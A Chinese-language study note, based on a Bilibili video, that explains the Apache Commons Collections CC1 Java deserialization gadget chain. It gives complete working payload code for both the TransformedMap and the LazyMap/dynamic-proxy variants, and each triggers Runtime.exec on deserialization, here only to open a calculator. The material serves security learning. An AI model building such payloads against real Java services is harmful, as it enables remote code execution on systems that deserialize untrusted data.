声明:本文为b站白日梦组长视频学习笔记,如有侵权,联系我速删

组长b站的传送门:https://space.bilibili.com/2142877265/?spm_id_from=333.999.0.0

Commons Collections 包为 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让使用者在开发应用程序的过程中,既保证了性能,同时也能大大简化了代码。

image-20220803142858318

一、Tranformer接口

漏洞主要运用ChainedTransformer、ConstantTransformer、InvokerTransformer这三个类。这三个类都是实现了Transformer接口的类,该接口包含了一个transform方法,以使每个实现了该接口的类可以进行固定类型的转化。

1
2
3
4
package org.apache.commons.collections;
public interface Transformer {
public Object transform(Object input);
}

ConstantTransformer类的transform方法

该类中的transform方法:接受一个对象返回一个常量,无论接收什么对象都返回 iConstant。

1
2
3
4
5
6
7
8
9
10
11
12
13
public class ConstantTransformer implements Transformer, Serializable {
public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);
private final Object iConstant;

public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}
}

InvokerTransformer类中的transform方法

该类中的transform方法:接收一个对象,通过Java的反射机制获取该对象的运行时类和方法,并进行反射调用。其中方法值、参数等均是可控的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class InvokerTransformer implements Transformer, Serializable {

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {}
}

}

ChainedTransformer类中的transform方法
该类 中的transform方法:当传入的是一个数组时候,开始循环读取,对每个参数都会调用transform方法,并将前一个对象的transform方法的返回值,当作下一个对象的transfrom方法的参数值进行调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class ChainedTransformer implements Transformer, Serializable {

public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}

使用InvokerTransformer执行命令

1
2
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

弹出计算器

二、挖掘CC1链的过程

根据流程图,我们从后向前找,已经找到了危险方法transform,现在应该找一个调用了transform的类

image-20220803172545588

image-20220803181433172

我们这里尝试使用TransformedMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//TransformedMap
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

在这里插入图片描述

checkSetValue是protected的,TransformedMap.decorate(map, null, invokerTransformer);返回是Map类型的,不可以直接调用,我们需要找一个能调用checkSetValue方法的

image-20220803183616053

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//AbstractInputCheckedMapDecorator类

public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}

static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

其实这里的MapEntry就是TransformedMap中存的一个键值对,类似于如下

1
2
3
4
5
map.put("key","value");
for (Map.Entry entry:map.entrySet()){
entry.setValue("newValue");
System.out.println(entry);
}

MapEntry中的setValue就是对Map中的重写,所以说,在遍历TransformedMap时就可以调用setValue

其实我们发现TransformedMap是没有entrySet方法的,所以调用的是它的父类AbstractInputCheckedMapDecorator类的entrySet方法。

this指代的就是调用entrySet方法的对象transformedMap

this在构造器中使用,默认指代当前new的对象

在成员方法中的this,默认指代调用成员方法的对象

this不能使用在static方法中

image-20220807122001706
1
2
3
4
5
6
7
8
9
10
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

map.put("key","value");
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}

image-20220803185613057

下一步要找到是调用setValue的类,最好是readObject直接调用setValue

image-20220803185949434
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//AnnotationInvocationHandler类

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
image-20220803190400926

我们注意这个类不是public的,需要用反射来访问创建实例

1
2
3
4
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, transformedMap);
image-20220805063041185

目前面临的问题:

1.我们需要给setValue传递一个对象r,但是现在好像无法控制

image-20220803191424635

2.Runtime类是不能序列化的,我们需要使用反射创建Runtime的对象

3.要想执行setValue,还需要满足两个if条件

image-20220803192509911

解决问题

  • 反射创建Runtime的对象执行命令
1
2
3
4
5
6
7
8
//正常版本
Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime", null);

Runtime r = (Runtime) getRuntime.invoke(null, null);

Method exec = c.getMethod("exec", String.class);
exec.invoke(r,"calc");
1
2
3
4
5
6
//InvokerTransformer版本
Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
1
2
3
4
5
6
7
8
9
//ChainedTransformer版本
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
  • 进入第一个if
image-20220804125736324

第一个if的条件是memberType不等于空,追踪一下memberType

image-20220804152824373

image-20220804153013834

image-20220804153105490 image-20220804153940851

首先,type就是我们在构造方法中传递的Override.class,然后调用getInstance获取一个Override实例annotationType,调用其memberTypes方法,返回此注解类型的成员类型(成员名称 -> 类型映射)meberTypes, 然后在其中查找成员名称为name的成员类型。(name为我们传递的map中的key)

因为Override成员类型为空,所以不能进入第一个if

由此可知,我们需要找一个有成员类型的注解,并将map中的key设置为其成员名称即可

image-20220804155401995image-20220804155427919

image-20220804155629572

进入第一个if

  • 进入第二个if
image-20220804160355273

instanceof 是 Java 中的一个双目运算符,由于它是由字母组成的,所以也是 Java 的保留关键字。在 Java 中可以使用 instanceof 关键字判断一个对象是否为一个类(或接口、抽象类、父类)的实例,语法格式如下.

boolean result = obj instanceof Class

obj 是一个对象,Class 表示一个类或接口。obj 是 class 类(或接口)的实例或者子类实例时,结果 result 返回 true,否则返回 false。

isInstance()方法用于检查指定的对象是否兼容分配给该Class的实例。如果指定对象为非null,并且可以强制转换为此类的实例,则该方法返回true。否则返回false。

只要value不能强转为Class类型,就可以进入

  • 构造setValue的参数

我们需要给setValue传递Runtime.Class,最后才能触发到transform(Runtime.Class),但是我们发现这个参数好像不太好控制的

image-20220804161726655

这时,我们可能要请一个大牛登场了

image-20220804161940321 image-20220804162000272

ConstantTransformer在调用transform时,无论传递什么参数,都会返回固定值iConstant

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

三、梳理整个CC1链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator.MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);

serialize(o);
unserialize("ser.bin");

四、LazyMap版本

image-20220805063930680

image-20220807142052146

之前我们用的TransformedMap的checkSetValue方法,这次用LazyMap的get方法

1
2
3
4
5
6
7
8
9
10
11
//LazyMap
protected final Transformer factory;
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

按照这条链作者的思路,我们使用AnnotationInvocationHandler类中的invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//AnnotationInvocationHandler
//构造方法中传递的memberValues
private final Map<String, Object> memberValues;
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);
}

那这样我们生成一个动态代理,传递AnnotationInvocationHandler,当该动态代理对象调用任意方法时(满足if条件)就可以触发invoke。【除equals、toString、hashCode、annotationType外,且一定是无参方法】

1
2
3
4
5
6
7
8
9
10
11
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

//因为AnnotationInvocationHandler构造方法接受map,我们需要调用它的readObject,所以要代理map接口
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

mapProxy.entrySet();

可以调用成功,我们接下来要做的是找一个readObject,可以接受一个对象O,并且O调用一个无参方法

我们还看一下AnnotationInvocationHandler类,真是巧了

image-20220807150502154

1
2
3
4
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}

最终代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

//因为AnnotationInvocationHandler构造方法接受map,我们需要调用它的readObject,所以要代理map接口
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = constructor.newInstance(Override.class, mapProxy);

serialize(o);
unserialize("ser.bin");

调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections